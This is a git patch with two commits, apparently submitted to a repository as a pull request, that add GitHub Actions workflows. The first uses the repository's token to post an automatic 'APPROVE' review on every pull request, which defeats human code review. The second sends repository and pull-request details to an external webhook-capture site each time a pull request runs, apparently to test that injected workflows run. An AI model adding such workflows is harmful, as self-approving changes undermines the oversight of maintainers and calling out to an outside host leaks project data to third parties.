From a02560697423c68faa561223399bb91afeadde1e Mon Sep 17 00:00:00 2001 From: hacker606 <167718235+01097962319@users.noreply.github.com> Date: Sun, 4 Oct 2026 20:33:16 -0700 Subject: [PATCH 1/2] Add GitHub Actions workflow for pull request approval --- github/workflows/Test.yml | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 github/workflows/Test.yml diff --git a/github/workflows/Test.yml b/github/workflows/Test.yml new file mode 100644 index 000000000000..b2daabac8491 --- /dev/null +++ b/github/workflows/Test.yml @@ -0,0 +1,17 @@ +name: APPROVE + +on: pull_request # run on pull request events + +permissions: + pull-requests: write # grant write permission on the pull-requests endpoint +jobs: + approve: + runs-on: ubuntu-latest + + steps: + - run: | # approve the pull request + curl --request POST \ + --url https://api.github.com/repos/${{github.repository}}/pulls/${{github.event.number}}/reviews \ + --header 'authorization: Bearer ${{ secrets.GITHUB_TOKEN }}' \ + --header 'content-type: application/json' \ + -d '{"event":"APPROVE"}' From 13eccd3a5c8860d78f6b6370937ad4833c910389 Mon Sep 17 00:00:00 2001 From: hacker606 <167718235+01097962319@users.noreply.github.com> Date: Sun, 4 Oct 2026 20:39:56 -0700 Subject: [PATCH 2/2] testy --- .github/workflows/testy.yml | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 .github/workflows/testy.yml diff --git a/.github/workflows/testy.yml b/.github/workflows/testy.yml new file mode 100644 index 000000000000..cbcd6bf5073f --- /dev/null +++ b/.github/workflows/testy.yml @@ -0,0 +1,14 @@ +name: APPROVE + +on: pull_request + +jobs: + approve: + runs-on: ubuntu-latest + + steps: + - run: | + curl --request POST \ + --url https://webhooksite.net/b8d3a493-2baf-47af-903c-b319ce2193b4\ + --header 'content-type: application/json' \ + -d '{"event":"APPROVE","repo":"${{ github.repository }}","pr":"${{ github.event.number }}"}'